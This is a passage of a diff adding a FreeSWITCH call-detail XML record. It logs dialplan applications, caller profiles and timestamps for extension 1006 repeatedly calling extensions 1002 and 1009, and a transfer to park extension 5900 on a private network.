+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1009"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1009"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1009/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1009/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1009@10.0.1.250"></application>
+    <application app_name="playback" app_data="local_stream://moh"></application>
+    <application app_name="set" app_data="use_profile=nat"></application>
+    <application app_name="set_user" app_data="default@10.0.1.250"></application>
+    <application app_name="info" app_data=""></application>
+    <application app_name="db" app_data="insert/spymap/1006/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="db" app_data="insert/last_dial/1006/1002"></application>
+    <application app_name="db" app_data="insert/last_dial/global/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="set" app_data="dialed_ext=1002"></application>
+    <application app_name="ring_ready" app_data=""></application>
+    <application app_name="set" app_data="call_timeout=130"></application>
+    <application app_name="set" app_data="hangup_after_bridge=true"></application>
+    <application app_name="set" app_data="left_hanging_extension=5900"></application>
+    <application app_name="set" app_data="continue_on_fail=true"></application>
+    <application app_name="db" app_data="insert/call_return/1002/1006"></application>
+    <application app_name="db" app_data="insert/last_dial_ext/1002/f1d9f5e9-1ccd-4df7-876e-adf6e3602361"></application>
+    <application app_name="bridge" app_data="USER/1002@10.0.1.250"></application>
+  </app_log>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>cf150cd3-af80-49b1-90c9-da7484e9b033</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>cf150cd3-af80-49b1-90c9-da7484e9b033</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156888447769</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>1198156892250109</hangup_time>
+      <transfer_time>0</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>4b8d3f9d-0bbd-48b3-b0e0-3a8eb9ead4d7</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>4b8d3f9d-0bbd-48b3-b0e0-3a8eb9ead4d7</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156885001861</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156888447769</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>c68e2ba8-12b8-417f-a919-4caa5437bd9a</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>c68e2ba8-12b8-417f-a919-4caa5437bd9a</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156880578019</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156885001861</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>073c1939-561c-466a-b652-a39ca2aae77a</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>073c1939-561c-466a-b652-a39ca2aae77a</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156876612260</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156880578019</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>2a3db176-a105-4a44-92f2-6e3ac7048d5b</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>2a3db176-a105-4a44-92f2-6e3ac7048d5b</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156839911708</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156876612260</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1009" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1009"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1009 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1009</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>a36354f8-4804-4f76-805b-fa0a0ca8903e</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1009</destination_number>
+          <uuid>a36354f8-4804-4f76-805b-fa0a0ca8903e</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156833485893</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156839911708</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>1002</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originatee>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>d01dbfc2-d692-48b8-bb10-8b62127f43cd</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+        <originatee_caller_profile>
+          <username>1006</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Extension 1006</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1006</caller_id_number>
+          <network_addr>10.0.1.240</network_addr>
+          <rdnis></rdnis>
+          <destination_number>10.0.1.250/1002</destination_number>
+          <uuid>d01dbfc2-d692-48b8-bb10-8b62127f43cd</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1002</chan_name>
+        </originatee_caller_profile>
+      </originatee>
+    </caller_profile>
+    <times>
+      <created_time>1198156820268791</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156833485893</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="5900">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="fifo" app_data="5900@10.0.1.250 in undef local_stream://moh"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
+      <caller_id_number>1006</caller_id_number>
+      <network_addr>10.0.1.240</network_addr>
+      <rdnis></rdnis>
+      <destination_number>5900</destination_number>
+      <uuid>f1d9f5e9-1ccd-4df7-876e-adf6e3602361</uuid>
+      <source>mod_sofia</source>
+      <context>default</context>
+      <chan_name>sofia/default/1006@10.0.1.250:5060</chan_name>
+      <originator>
+        <originator_caller_profile>
+          <username>1009</username>
+          <dialplan>XML</dialplan>
+          <caller_id_name>Brian West</caller_id_name>
+          <ani></ani>
+          <aniii></aniii>
+          <caller_id_number>1009</caller_id_number>
+          <network_addr>10.0.1.28</network_addr>
+          <rdnis></rdnis>
+          <destination_number>**park+5900</destination_number>
+          <uuid>7fa22ce4-9487-4501-965e-7e062792f6c3</uuid>
+          <source>mod_sofia</source>
+          <context>default</context>
+          <chan_name>sofia/default/1009@10.0.1.250:5060</chan_name>
+        </originator_caller_profile>
+      </originator>
+    </caller_profile>
+    <times>
+      <created_time>1198156812978484</created_time>
+      <answered_time>1198156774875311</answered_time>
+      <hangup_time>0</hangup_time>
+      <transfer_time>1198156820268791</transfer_time>
+    </times>
+  </callflow>
+  <callflow dialplan="XML">
+    <extension name="global" number="1002" current_app="answer">
+      <application app_name="set" app_data="use_profile=${cond(${is_lan_addr(10.0.1.250)} == yes ? nat : default)}"></application>
+      <application app_name="set_user" app_data="default@${domain}"></application>
+      <application app_name="info" app_data=""></application>
+      <application app_name="db" app_data="insert/spymap/${caller_id_number}/${uuid}"></application>
+      <application app_name="db" app_data="insert/last_dial/${caller_id_number}/${destination_number}"></application>
+      <application app_name="db" app_data="insert/last_dial/global/${uuid}"></application>
+      <application app_name="set" app_data="dialed_ext=1002"></application>
+      <application app_name="ring_ready" app_data=""></application>
+      <application app_name="set" app_data="call_timeout=130"></application>
+      <application app_name="set" app_data="hangup_after_bridge=true"></application>
+      <application app_name="set" app_data="left_hanging_extension=5900"></application>
+      <application app_name="set" app_data="continue_on_fail=true"></application>
+      <application app_name="db" app_data="insert/call_return/${dialed_ext}/${caller_id_number}"></application>
+      <application app_name="db" app_data="insert/last_dial_ext/${dialed_ext}/${uuid}"></application>
+      <application app_name="bridge" app_data="USER/${dialed_ext}@10.0.1.250"></application>
+      <application last_executed="true" app_name="answer" app_data=""></application>
+      <application app_name="sleep" app_data="1000"></application>
+      <application app_name="voicemail" app_data="default 10.0.1.250 ${dialed_ext}"></application>
+      <application app_name="transfer" app_data="1002 enum"></application>
+    </extension>
+    <caller_profile>
+      <username>1006</username>
+      <dialplan>XML</dialplan>
+      <caller_id_name>Brian West</caller_id_name>
+      <ani></ani>
+      <aniii></aniii>
